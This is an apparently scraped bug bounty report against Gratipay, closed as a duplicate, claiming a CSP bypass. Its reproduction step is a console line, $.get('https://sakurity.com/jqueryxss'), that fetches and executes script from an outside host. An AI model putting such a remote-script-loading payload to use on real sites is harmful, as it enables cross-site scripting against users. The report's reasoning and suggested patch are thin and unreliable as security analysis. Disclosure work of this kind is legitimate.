Loading HuntDB...

CSP Policy Bypass and javascript execution Still Not Fixed

None
G
Gratipay
Submitted None
Reported by 4w3

Vulnerability Details

Technical details and impact analysis

# Summary Content Security Policy (CSP) is a computer security standard introduced to prevent cross-site scripting (XSS), clickjacking and other code injection attacks resulting from execution of malicious content in the trusted web page context. CSP provides a standard method for website owners to declare approved origins of content that browsers should be allowed to load on that website — covered types are JavaScript, CSS, HTML frames, web workers, fonts, images, embeddable objects such as Javascript. # Steps To Reproduce 1. Open firefox or Chrome Press F12 1. Now go to Console Tab 1. $.get('https://sakurity.com/jqueryxss'); paste it and hit enter # Patch Update Jquery and Javascript Library # Supporting Material/References: https://youtu.be/JgaSeKNleLA

Report Details

Additional information and metadata

State

Closed

Substate

Duplicate

Submitted